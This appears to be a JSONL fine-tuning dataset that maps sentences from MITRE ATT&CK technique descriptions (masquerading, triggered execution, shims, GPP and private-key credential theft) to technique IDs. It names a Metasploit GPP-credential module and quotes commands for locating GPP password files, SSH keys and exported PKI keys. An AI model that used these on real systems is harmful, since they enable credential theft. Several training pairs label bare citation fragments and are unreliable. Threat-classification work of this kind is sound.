contained in the text.", "input": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>).", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, the second extension is the true file type that determines how the file is opened and executed.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, the second extension is the true file type that determines how the file is opened and executed. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "then [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: then [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool.", "output": "T1036.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. ### Response: T1036.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.", "output": "T1036.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. ### Response: T1036.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program.", "output": "T1036.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. ### Response: T1036.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)", "output": "T1036.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017) ### Response: T1036.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002)", "output": "T1036.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002) ### Response: T1036.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": ", this activity will not result in a valid signature.", "output": "T1036.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: , this activity will not result in a valid signature. ### Response: T1036.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID).", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If endpoint protection software leverages the \u201cparent-child\" relationship for detection, breaking this relationship could result in the adversary\u2019s behavior not being associated with previous process tree activity.", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If endpoint protection software leverages the \u201cparent-child\" relationship for detection, breaking this relationship could result in the adversary\u2019s behavior not being associated with previous process tree activity. ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022)", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022) ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree.", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree. ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit.", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree. ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another example is using the \u201cdaemon\u201d syscall to detach from the current parent process and run in the background.(Citation:", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another example is using the \u201cdaemon\u201d syscall to detach from the current parent process and run in the background.(Citation: ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sandfly BPFDoor 2022)(Citation:", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sandfly BPFDoor 2022)(Citation: ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft XorDdos Linux Stealth 2022)", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft XorDdos Linux Stealth 2022) ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb).", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n*", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Application Shimming)", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Application Shimming) ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shims can also be abused to establish persistence by continuously being invoked by affected programs.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shims can also be abused to establish persistence by continuously being invoked by affected programs. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP).", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GPP are tools that allow administrators to create domain policies with embedded credentials.", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GPP are tools that allow administrators to create domain policies with embedded credentials. ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These policies allow administrators to set local accounts.(Citation:", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These policies allow administrators to set local accounts.(Citation: ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft GPP 2016)", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft GPP 2016) ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These group policies are stored in SYSVOL on a domain controller.", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These group policies are stored in SYSVOL on a domain controller. ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key) ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files: ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Metasploit\u2019s post exploitation module: <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Metasploit\u2019s post exploitation module: <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": ".xml</code>", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: .xml</code> ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials.", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation:", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows.", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia) ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation:", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Primary Refresh Token)", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Primary Refresh Token) ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: 